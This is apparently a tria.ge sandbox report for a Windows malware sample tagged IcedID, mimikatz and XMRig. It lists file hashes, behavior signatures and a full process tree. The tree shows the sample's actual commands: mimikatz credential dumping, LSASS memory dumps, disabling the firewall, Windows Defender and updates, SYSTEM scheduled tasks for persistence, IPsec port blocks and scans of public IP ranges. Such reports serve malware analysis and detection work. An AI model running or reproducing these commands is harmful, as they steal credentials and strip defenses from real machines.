Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/08/2024, 08:26

General

  • Target

    2024-08-17_913939db16f6880cbd1b369f343044d3_hacktools_icedid_mimikatz.exe

  • Size

    8.6MB

  • MD5

    913939db16f6880cbd1b369f343044d3

  • SHA1

    5ae871253124bad5c223def0de843f8e48f6ec28

  • SHA256

    d64b26f638fbc6df1064b52f5e24201a9e816e23edb84059552e448df5f1c7fd

  • SHA512

    5a007a090abe680546b8b2f70621c2a0c8341169e189998d41ae027cec4f34b9e68733577794236067b535fbb2ff431978f3aab070d7cc28f2c353b2124079e3

  • SSDEEP

    196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (20115) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 10 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 29 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 36 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 47 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:2156
      • C:\Windows\TEMP\niuaeryvy\nbrbkn.exe
        "C:\Windows\TEMP\niuaeryvy\nbrbkn.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4088
    • C:\Users\Admin\AppData\Local\Temp\2024-08-17_913939db16f6880cbd1b369f343044d3_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-08-17_913939db16f6880cbd1b369f343044d3_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1940
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tlmnbsfy\dbtfmbf.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:4016
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3964
        • C:\Windows\tlmnbsfy\dbtfmbf.exe
          C:\Windows\tlmnbsfy\dbtfmbf.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:2192
    • C:\Windows\tlmnbsfy\dbtfmbf.exe
      C:\Windows\tlmnbsfy\dbtfmbf.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:3392
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1420
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2420
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4404
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:4532
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3740
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
            PID:3564
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:3584
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:1504
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:1508
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4492
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\intetbmbl\eatelrffa\wpcap.exe /S
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4612
          • C:\Windows\intetbmbl\eatelrffa\wpcap.exe
            C:\Windows\intetbmbl\eatelrffa\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:4576
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1128
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:936
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1436
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:4076
            • C:\Windows\SysWOW64\net.exe
              net stop npf
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:4404
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop npf
                5⤵
                  PID:1708
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:4716
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:5032
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2684
            • C:\Windows\SysWOW64\net.exe
              net start npf
              3⤵
              • System Location Discovery: System Language Discovery
              PID:1000
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 start npf
                4⤵
                  PID:5052
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
                PID:2180
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:4708
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:2428
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\intetbmbl\eatelrffa\blzntuqfb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\intetbmbl\eatelrffa\Scant.txt
                2⤵
                • System Location Discovery: System Language Discovery
                PID:1264
                • C:\Windows\intetbmbl\eatelrffa\blzntuqfb.exe
                  C:\Windows\intetbmbl\eatelrffa\blzntuqfb.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\intetbmbl\eatelrffa\Scant.txt
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2064
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\intetbmbl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\intetbmbl\Corporate\log.txt
                2⤵
                • Drops file in Windows directory
                • System Location Discovery: System Language Discovery
                PID:4152
                • C:\Windows\intetbmbl\Corporate\vfshost.exe
                  C:\Windows\intetbmbl\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2448
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vzkmliviy" /ru system /tr "cmd /c C:\Windows\ime\dbtfmbf.exe"
                2⤵
                • System Location Discovery: System Language Discovery
                PID:3736
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:4984
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "vzkmliviy" /ru system /tr "cmd /c C:\Windows\ime\dbtfmbf.exe"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:4100
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "iltfyenfl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tlmnbsfy\dbtfmbf.exe /p everyone:F"
                2⤵
                • System Location Discovery: System Language Discovery
                PID:4112
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:3552
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /create /sc minute /mo 1 /tn "iltfyenfl" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tlmnbsfy\dbtfmbf.exe /p everyone:F"
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Scheduled Task/Job: Scheduled Task
                  PID:4520
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ytiikbqeb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\niuaeryvy\nbrbkn.exe /p everyone:F"
                2⤵
                  PID:2620
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3452
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /create /sc minute /mo 1 /tn "ytiikbqeb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\niuaeryvy\nbrbkn.exe /p everyone:F"
                    3⤵
                    • System Location Discovery: System Language Discovery
                    • Scheduled Task/Job: Scheduled Task
                    PID:1204
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:4820
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2328
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:3476
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static set policy name=Bastards assign=y
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:412
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:4628
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:1200
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:4772
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static set policy name=Bastards assign=y
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2684
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:792
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:2900
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Location Discovery: System Language Discovery
                  PID:64
                • C:\Windows\SysWOW64\netsh.exe
                  netsh ipsec static set policy name=Bastards assign=y
                  2⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4556
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop SharedAccess
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1508
                  • C:\Windows\SysWOW64\net.exe
                    net stop SharedAccess
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2388
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop SharedAccess
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:4744
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c netsh firewall set opmode mode=disable
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:2244
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh firewall set opmode mode=disable
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    • System Location Discovery: System Language Discovery
                    PID:4052
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c netsh Advfirewall set allprofiles state off
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:4256
                  • C:\Windows\SysWOW64\netsh.exe
                    netsh Advfirewall set allprofiles state off
                    3⤵
                    • Modifies Windows Firewall
                    • Event Triggered Execution: Netsh Helper DLL
                    PID:4416
                • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                  C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 768 C:\Windows\TEMP\intetbmbl\768.dmp
                  2⤵
                  • Executes dropped EXE
                  • Modifies data under HKEY_USERS
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4880
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop MpsSvc
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1696
                  • C:\Windows\SysWOW64\net.exe
                    net stop MpsSvc
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:3212
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop MpsSvc
                      4⤵
                      • System Location Discovery: System Language Discovery
                      PID:4240
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c net stop WinDefend
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:2192
                  • C:\Windows\SysWOW64\net.exe
                    net stop WinDefend
                    3⤵
                    • System Location Discovery: System Language Discovery
                    PID:2576
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop WinDefend
                      4⤵
                        PID:3740
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c net stop wuauserv
                    2⤵
                      PID:4984
                      • C:\Windows\SysWOW64\net.exe
                        net stop wuauserv
                        3⤵
                        • System Location Discovery: System Language Discovery
                        PID:4836
                        • C:\Windows\SysWOW64\net1.exe
                          C:\Windows\system32\net1 stop wuauserv
                          4⤵
                          • System Location Discovery: System Language Discovery
                          PID:4060
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config MpsSvc start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:3136
                      • C:\Windows\SysWOW64\sc.exe
                        sc config MpsSvc start= disabled
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:4536
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config SharedAccess start= disabled
                      2⤵
                      • System Location Discovery: System Language Discovery
                      PID:4100
                      • C:\Windows\SysWOW64\sc.exe
                        sc config SharedAccess start= disabled
                        3⤵
                        • Launches sc.exe
                        • System Location Discovery: System Language Discovery
                        PID:1708
                    • C:\Windows\SysWOW64\cmd.exe
                      cmd /c sc config WinDefend start= disabled
                      2⤵
                        PID:1688
                        • C:\Windows\SysWOW64\sc.exe
                          sc config WinDefend start= disabled
                          3⤵
                          • Launches sc.exe
                          PID:1992
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c sc config wuauserv start= disabled
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:3252
                        • C:\Windows\SysWOW64\sc.exe
                          sc config wuauserv start= disabled
                          3⤵
                          • Launches sc.exe
                          • System Location Discovery: System Language Discovery
                          PID:4252
                      • C:\Windows\TEMP\xohudmc.exe
                        C:\Windows\TEMP\xohudmc.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious use of SetWindowsHookEx
                        PID:2012
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 316 C:\Windows\TEMP\intetbmbl\316.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4176
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 2156 C:\Windows\TEMP\intetbmbl\2156.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4156
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 2488 C:\Windows\TEMP\intetbmbl\2488.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:664
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 2652 C:\Windows\TEMP\intetbmbl\2652.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4488
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 2796 C:\Windows\TEMP\intetbmbl\2796.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2588
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 2964 C:\Windows\TEMP\intetbmbl\2964.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2356
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 3804 C:\Windows\TEMP\intetbmbl\3804.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4608
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 3892 C:\Windows\TEMP\intetbmbl\3892.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2188
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 3956 C:\Windows\TEMP\intetbmbl\3956.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:828
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 4032 C:\Windows\TEMP\intetbmbl\4032.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4760
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 4452 C:\Windows\TEMP\intetbmbl\4452.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2480
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 4128 C:\Windows\TEMP\intetbmbl\4128.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2320
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 4428 C:\Windows\TEMP\intetbmbl\4428.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1864
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 3948 C:\Windows\TEMP\intetbmbl\3948.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2152
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 1748 C:\Windows\TEMP\intetbmbl\1748.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3092
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 1412 C:\Windows\TEMP\intetbmbl\1412.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2448
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 3968 C:\Windows\TEMP\intetbmbl\3968.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:3880
                      • C:\Windows\TEMP\intetbmbl\nasqttiif.exe
                        C:\Windows\TEMP\intetbmbl\nasqttiif.exe -accepteula -mp 1000 C:\Windows\TEMP\intetbmbl\1000.dmp
                        2⤵
                        • Executes dropped EXE
                        • Modifies data under HKEY_USERS
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2188
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c C:\Windows\intetbmbl\eatelrffa\scan.bat
                        2⤵
                          PID:3460
                          • C:\Windows\intetbmbl\eatelrffa\nanuystbn.exe
                            nanuystbn.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
                            3⤵
                            • Executes dropped EXE
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            PID:4212
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:1668
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                            3⤵
                              PID:940
                            • C:\Windows\SysWOW64\cacls.exe
                              cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1992
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                              3⤵
                              • System Location Discovery: System Language Discovery
                              PID:1420
                            • C:\Windows\SysWOW64\cacls.exe
                              cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                              3⤵
                                PID:1524
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:4164
                              • C:\Windows\SysWOW64\cacls.exe
                                cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                3⤵
                                • System Location Discovery: System Language Discovery
                                PID:4152
                          • C:\Windows\SysWOW64\ditzew.exe
                            C:\Windows\SysWOW64\ditzew.exe
                            1⤵
                            • Executes dropped EXE
                            • Suspicious use of SetWindowsHookEx
                            PID:2212
                          • C:\Windows\system32\cmd.EXE
                            C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\niuaeryvy\nbrbkn.exe /p everyone:F
                            1⤵
                              PID:3164
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                2⤵
                                  PID:4476
                                • C:\Windows\system32\cacls.exe
                                  cacls C:\Windows\TEMP\niuaeryvy\nbrbkn.exe /p everyone:F
                                  2⤵
                                    PID:636
                                • C:\Windows\system32\cmd.EXE
                                  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tlmnbsfy\dbtfmbf.exe /p everyone:F
                                  1⤵
                                    PID:5096
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      2⤵
                                        PID:208
                                      • C:\Windows\system32\cacls.exe
                                        cacls C:\Windows\tlmnbsfy\dbtfmbf.exe /p everyone:F
                                        2⤵
                                          PID:652
                                      • C:\Windows\system32\cmd.EXE
                                        C:\Windows\system32\cmd.EXE /c C:\Windows\ime\dbtfmbf.exe
                                        1⤵
                                          PID:3812
                                          • C:\Windows\ime\dbtfmbf.exe
                                            C:\Windows\ime\dbtfmbf.exe
                                            2⤵
                                            • Executes dropped EXE
